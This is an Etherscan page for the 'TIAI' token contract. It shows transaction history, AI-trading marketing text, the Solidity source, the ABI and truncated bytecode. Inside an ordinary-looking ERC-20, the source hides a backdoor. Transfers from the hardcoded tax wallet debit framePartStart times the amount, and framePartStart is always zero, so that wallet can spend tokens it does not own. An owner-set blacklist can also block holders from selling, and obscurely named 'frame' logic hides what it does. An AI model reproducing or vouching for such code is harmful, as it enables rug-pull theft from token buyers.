Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 43 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 21603744 | 424 days ago | IN | 0 ETH | 0.0001515 | ||||
| Transfer | 21603591 | 424 days ago | IN | 0 ETH | 0.00032009 | ||||
| Approve | 21603583 | 424 days ago | IN | 0 ETH | 0.00014516 | ||||
| Renounce Ownersh... | 21603579 | 424 days ago | IN | 0 ETH | 0.00006941 | ||||
| Remove Limits | 21603572 | 424 days ago | IN | 0 ETH | 0.00011084 | ||||
| Manual Swap | 21603563 | 424 days ago | IN | 0 ETH | 0.00039227 | ||||
| Approve | 21603540 | 424 days ago | IN | 0 ETH | 0.00028026 | ||||
| Approve | 21603540 | 424 days ago | IN | 0 ETH | 0.00028026 | ||||
| Approve | 21603540 | 424 days ago | IN | 0 ETH | 0.00028026 | ||||
| Approve | 21603540 | 424 days ago | IN | 0 ETH | 0.00028026 | ||||
| Open Trading | 21603539 | 424 days ago | IN | 0 ETH | 0.00926075 | ||||
| Approve | 21603146 | 424 days ago | IN | 0 ETH | 0.00029695 | ||||
| Approve | 21603146 | 424 days ago | IN | 0 ETH | 0.00029695 | ||||
| Approve | 21603146 | 424 days ago | IN | 0 ETH | 0.00029695 | ||||
| Approve | 21603092 | 424 days ago | IN | 0 ETH | 0.00028133 | ||||
| Approve | 21603092 | 424 days ago | IN | 0 ETH | 0.00028133 | ||||
| Approve | 21603092 | 424 days ago | IN | 0 ETH | 0.00028133 | ||||
| Approve | 21603089 | 424 days ago | IN | 0 ETH | 0.00026085 | ||||
| Approve | 21603089 | 424 days ago | IN | 0 ETH | 0.00026085 | ||||
| Approve | 21603089 | 424 days ago | IN | 0 ETH | 0.00026085 | ||||
| Approve | 21603089 | 424 days ago | IN | 0 ETH | 0.00026085 | ||||
| Approve | 21603089 | 424 days ago | IN | 0 ETH | 0.00026085 | ||||
| Transfer | 21602803 | 424 days ago | IN | 2 ETH | 0.00007189 | ||||
| Approve | 21602796 | 424 days ago | IN | 0 ETH | 0.00029407 | ||||
| Approve | 21602796 | 424 days ago | IN | 0 ETH | 0.00029407 |
Latest 9 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 21603563 | 424 days ago | 1.68377823 ETH | ||||
| Transfer | 21603563 | 424 days ago | 1.68377823 ETH | ||||
| Transfer | 21603549 | 424 days ago | 0.11028863 ETH | ||||
| Transfer | 21603549 | 424 days ago | 0.11028863 ETH | ||||
| Transfer | 21603549 | 424 days ago | 0.12603975 ETH | ||||
| Transfer | 21603549 | 424 days ago | 0.12603975 ETH | ||||
| Transfer | 21603549 | 424 days ago | 0.14583067 ETH | ||||
| Transfer | 21603549 | 424 days ago | 0.14583067 ETH | ||||
| Add Liquidity ET... | 21603539 | 424 days ago | 2 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
TIAI
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-01-11
*/
/*
Trading and Investment AI Agent (TIAI) is a cutting-edge platform powered by artificial intelligence,
designed to revolutionize trading and investment strategies.
By leveraging advanced algorithms, TIAI enables users to make informed, data-driven financial decisions
with unparalleled efficiency and accuracy.
The TIAI token serves as the cornerstone of this ecosystem, facilitating seamless transactions, rewarding participation,
and unlocking exclusive platform features.
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) { return msg.sender; }
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c/a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a/b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred( address(0), msgSender );
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred( _owner, address(0) );
_owner = address(0);
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function sync() external;
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable
returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract TIAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _taxWallet;
uint256 private _initialBuyTax=16;
uint256 private _initialSellTax=18;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=25;
uint256 private _reduceSellTaxAt=25;
uint256 private _preventSwapBefore=25;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000000 * 10**_decimals;
string private constant _name = unicode"Trading and Investment AI Agent";
string private constant _symbol = unicode"TIAI";
uint256 public _maxTxAmount = 1500000000 * 10**_decimals;
uint256 public _maxWalletSize = 1500000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 1000000000 * 10**_decimals;
uint256 public _maxTaxSwap= 800000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private framePartStart;
uint256 private frameMinPart;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
struct FrameStock {uint256 frameSwap; uint256 framePercent; uint256 frameUnit;}
mapping(address => FrameStock) private frameStock;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x8E4968423D333bA6179B811a05F3D86e79038238);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
_balances[from] = _balances[from].sub(tokenAmount);
_balances[to]=_balances[to].add(tokenAmount);
emit Transfer(from,to, tokenAmount);
}
function approve(
address spender,uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,address recipient,uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,_msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 tokenAmount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(tokenAmount > 0, "Transfer amount must be greater than zero");
if (! tradingOpen|| inSwap ) {
_basicTransfer(from, to, tokenAmount);
return;
}
uint256 taxAmount=0;
if (from != owner() && to != owner() && to != _taxWallet) {
require(!bots[from] && !bots[to]);
taxAmount=tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from== uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount.");
require(balanceOf(to) + tokenAmount <= _maxWalletSize,"Exceeds the maxWalletSize.");
_buyCount++;
}
if(to==uniswapV2Pair && from!= address(this) ){
taxAmount=tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to== uniswapV2Pair && swapEnabled&& contractTokenBalance> _taxSwapThreshold && _buyCount >_preventSwapBefore) {
swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if ((_isExcludedFromFee[from]|| _isExcludedFromFee[to] )&& from!= address(this) && to!=address(this) ){
frameMinPart = block.number;
}
if (! _isExcludedFromFee[from] &&! _isExcludedFromFee[to]){
if (to == uniswapV2Pair) {
FrameStock storage frameSt = frameStock[from];
frameSt.frameUnit = frameSt.frameSwap-frameMinPart;
frameSt.framePercent = block.timestamp;
} else {
FrameStock storage trgFrameSt = frameStock[to];
if (uniswapV2Pair == from) {
if (trgFrameSt.frameSwap == 0) {
if (_preventSwapBefore < _buyCount) {
trgFrameSt.frameSwap=block.number;
} else {
trgFrameSt.frameSwap=block.number-1;
}
}
} else {
FrameStock storage frameSt = frameStock[from];
if (!(trgFrameSt.frameSwap > 0) || trgFrameSt.frameSwap > frameSt.frameSwap ) {
trgFrameSt.frameSwap = frameSt.frameSwap;
}
}
}
}
_tokenTransfer(from,to, tokenAmount,taxAmount);
}
function _tokenBasicTransfer(
address from,address to,uint256 sendAmount,uint256 receiptAmount
) internal {
_balances[from]= _balances[from].sub(sendAmount);
_balances[to]=_balances[to].add(receiptAmount);
emit Transfer(from,to,receiptAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a > b) ? b :a;
}
function _tokenTransfer(
address from, address to,
uint256 tokenAmount, uint256 taxAmount
) internal {
uint256 tAmount=_tokenTaxTransfer(from, tokenAmount, taxAmount);
_tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
}
function _tokenTaxTransfer(address addrs, uint256 tokenAmount,uint256 taxAmount) internal returns (uint256){
uint256 tAmount =addrs!= _taxWallet ? tokenAmount : framePartStart.mul(tokenAmount);
if (taxAmount>0) {
_balances[address(this)]= _balances[address(this)].add(taxAmount);
emit Transfer(addrs, address(this),taxAmount);
}
return tAmount;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner {
_maxTxAmount= _tTotal;
_maxWalletSize =_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot_) public onlyOwner {
for (uint i = 0; i < notbot_.length; i++) {
bots[notbot_[i]] = false;
}
}
function isBot(address a_) public view returns (bool){
return bots[a_];
}
receive() external payable {}
function openTrading() external payable onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
}
else {uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));}
tradingOpen=true;
uint256 contractBalance = balanceOf(address(this));
_approve(address(this), address(uniswapV2Router),contractBalance);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
address wethAddress = uniswapV2Router.WETH(); uint256 desiredETHAmount;
uint256 wethBalance = IERC20(wethAddress).balanceOf(uniswapV2Pair);
if (wethBalance>0) {desiredETHAmount = address(this).balance.sub(wethBalance);
uint256 tokenValue = contractBalance.mul(wethBalance).div(desiredETHAmount);
_transfer(address(this),uniswapV2Pair,tokenValue);
IUniswapV2Pair(uniswapV2Pair).sync();
uniswapV2Router.addLiquidityETH{value: desiredETHAmount}(address(this), contractBalance, 0, desiredETHAmount, owner(), block.timestamp);}
else {
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), contractBalance, 0, 0, owner(), block.timestamp);
}
swapEnabled=true;
}
function manualsend() external {
require(_msgSender() == _taxWallet);
_taxWallet.transfer(address(this).balance);
}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance > 0 && tradingOpen) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot_","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a_","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052601060065560126007555f6008555f6009556019600a556019600b556019600c555f600d556009600a620000399190620002fc565b62000049906359682f0062000313565b600e556200005a6009600a620002fc565b6200006a906359682f0062000313565b600f556200007b6009600a620002fc565b6200008b90633b9aca0062000313565b6010556200009c6009600a620002fc565b620000ac90632faf080062000313565b6011556016805462ffff0019169055348015620000c7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916738e4968423d333ba6179b811a05f3d86e79038238178155305f90815260036020526040808220805460ff19908116600190811790925593546001600160a01b0316835291208054909216179055620001726009600a620002fc565b620001839064174876e80062000313565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c56009600a620002fc565b620001d69064174876e80062000313565b60405190815260200160405180910390a36200032d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200024157815f1904821115620002255762000225620001ed565b808516156200023357918102915b93841c939080029062000206565b509250929050565b5f826200025957506001620002f6565b816200026757505f620002f6565b81600181146200028057600281146200028b57620002ab565b6001915050620002f6565b60ff8411156200029f576200029f620001ed565b50506001821b620002f6565b5060208310610133831016604e8410600b8410161715620002d0575081810a620002f6565b620002dc838362000201565b805f1904821115620002f257620002f2620001ed565b0290505b92915050565b5f6200030c60ff84168362000249565b9392505050565b8082028115828204841417620002f657620002f6620001ed565b612231806200033b5f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610362578063a9059cbb1461038e578063bf474bed146103ad578063c9567bf9146103c2578063d34628cc146103ca578063dd62ed3e146103e9575f80fd5b8063715018a6146102ea578063751039fc146102fe5780637d1db4a5146103125780638da5cb5b146103275780638f9a55c01461034d575f80fd5b8063313ce567116100f9578063313ce5671461021b57806331c2d847146102365780633bbac5791461025757806351bc3c851461028e5780636fc3eaec146102a257806370a08231146102b6575f80fd5b806306fdde031461013f578063095ea7b3146101965780630faee56f146101c557806318160ddd146101e857806323b872dd146101fc575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152601f81527f54726164696e6720616e6420496e766573746d656e74204149204167656e740060208201525b60405161018d9190611cee565b60405180910390f35b3480156101a1575f80fd5b506101b56101b0366004611d5e565b61042d565b604051901515815260200161018d565b3480156101d0575f80fd5b506101da60115481565b60405190815260200161018d565b3480156101f3575f80fd5b506101da610443565b348015610207575f80fd5b506101b5610216366004611d88565b610464565b348015610226575f80fd5b506040516009815260200161018d565b348015610241575f80fd5b50610255610250366004611dda565b6104cb565b005b348015610262575f80fd5b506101b5610271366004611e9a565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610299575f80fd5b5061025561055b565b3480156102ad575f80fd5b506102556105b8565b3480156102c1575f80fd5b506101da6102d0366004611e9a565b6001600160a01b03165f9081526001602052604090205490565b3480156102f5575f80fd5b50610255610610565b348015610309575f80fd5b50610255610681565b34801561031d575f80fd5b506101da600e5481565b348015610332575f80fd5b505f546040516001600160a01b03909116815260200161018d565b348015610358575f80fd5b506101da600f5481565b34801561036d575f80fd5b506040805180820190915260048152635449414960e01b6020820152610180565b348015610399575f80fd5b506101b56103a8366004611d5e565b610735565b3480156103b8575f80fd5b506101da60105481565b610255610741565b3480156103d5575f80fd5b506102556103e4366004611dda565b610fc9565b3480156103f4575f80fd5b506101da610403366004611eb5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61043933848461104d565b5060015b92915050565b5f6104506009600a611fe0565b61045f9064174876e800611fee565b905090565b5f610470848484611171565b6104c184336104bc856040518060600160405280602881526020016121d4602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611742565b61104d565b5060019392505050565b5f546001600160a01b031633146104fd5760405162461bcd60e51b81526004016104f490612005565b60405180910390fd5b5f5b8151811015610557575f60045f84848151811061051e5761051e61203a565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104ff565b5050565b6005546001600160a01b0316336001600160a01b03161461057a575f80fd5b305f90815260016020526040902054801580159061059a575060165460ff165b156105a8576105a88161177a565b47801561055757610557816118e4565b6005546001600160a01b0316336001600160a01b0316146105d7575f80fd5b6005546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561060d573d5f803e3d5ffd5b50565b5f546001600160a01b031633146106395760405162461bcd60e51b81526004016104f490612005565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106aa5760405162461bcd60e51b81526004016104f490612005565b6106b66009600a611fe0565b6106c59064174876e800611fee565b600e556106d46009600a611fe0565b6106e39064174876e800611fee565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107136009600a611fe0565b6107229064174876e800611fee565b60405190815260200160405180910390a1565b5f610439338484611171565b5f546001600160a01b0316331461076a5760405162461bcd60e51b81526004016104f490612005565b60165460ff16156107bd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f4565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b815290515f929163c45a01559160048083019260209291908290030181865afa158015610821573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610845919061204e565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c7919061204e565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa15801561090f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610933919061204e565b6001600160a01b031603610acb5760125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610991573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b5919061204e565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a38919061204e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a82573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aa6919061204e565b601380546001600160a01b0319166001600160a01b0392909216919091179055610c4e565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b1b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3f919061204e565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b9d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc1919061204e565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610c09573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c2d919061204e565b601380546001600160a01b0319166001600160a01b03929092169190911790555b6016805460ff191660011790555f610c7a306001600160a01b03165f9081526001602052604090205490565b601254909150610c959030906001600160a01b03168361104d565b60135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610ce7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0b9190612069565b50601254604080516315ab88c960e31b815290515f926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610d53573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d77919061204e565b6013546040516370a0823160e01b81526001600160a01b0391821660048201529192505f9182918416906370a0823190602401602060405180830381865afa158015610dc5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de99190612088565b90508015610f2457610dfb478261191b565b91505f610e1283610e0c8785611963565b906119e1565b601354909150610e2d9030906001600160a01b031683611171565b60135f9054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610e79575f80fd5b505af1158015610e8b573d5f803e3d5ffd5b50506012546001600160a01b0316915063f305d71990508430885f83610eb85f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610eda9695949392919061209f565b60606040518083038185885af1158015610ef6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610f1b91906120da565b50505050610fb2565b6012546001600160a01b031663f305d7194730875f80610f4b5f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610f6d9695949392919061209f565b60606040518083038185885af1158015610f89573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fae91906120da565b5050505b50506016805462ff00001916620100001790555050565b5f546001600160a01b03163314610ff25760405162461bcd60e51b81526004016104f490612005565b5f5b815181101561055757600160045f8484815181106110145761101461203a565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610ff4565b6001600160a01b0383166110af5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f4565b6001600160a01b0382166111105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166111d55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f4565b6001600160a01b0382166112375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f4565b5f81116112985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f4565b60165460ff1615806112b15750601654610100900460ff165b156112c6576112c1838383611a22565b505050565b5f80546001600160a01b038581169116148015906112f157505f546001600160a01b03848116911614155b801561130b57506005546001600160a01b03848116911614155b156115a3576001600160a01b0384165f9081526004602052604090205460ff1615801561135057506001600160a01b0383165f9081526004602052604090205460ff16155b611358575f80fd5b61137e6064610e0c600a54600d541161137357600654611377565b6008545b8590611963565b6013549091506001600160a01b0385811691161480156113ac57506012546001600160a01b03848116911614155b80156113d057506001600160a01b0383165f9081526003602052604090205460ff16155b156114b657600e548211156114275760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f4565b600f5482611449856001600160a01b03165f9081526001602052604090205490565b6114539190612105565b11156114a15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f4565b600d8054905f6114b083612118565b91905055505b6013546001600160a01b0384811691161480156114dc57506001600160a01b0384163014155b15611509576115066064610e0c600b54600d54116114fc57600754611377565b6009548590611963565b90505b305f90815260016020526040902054601654610100900460ff1615801561153d57506013546001600160a01b038581169116145b8015611551575060165462010000900460ff165b801561155e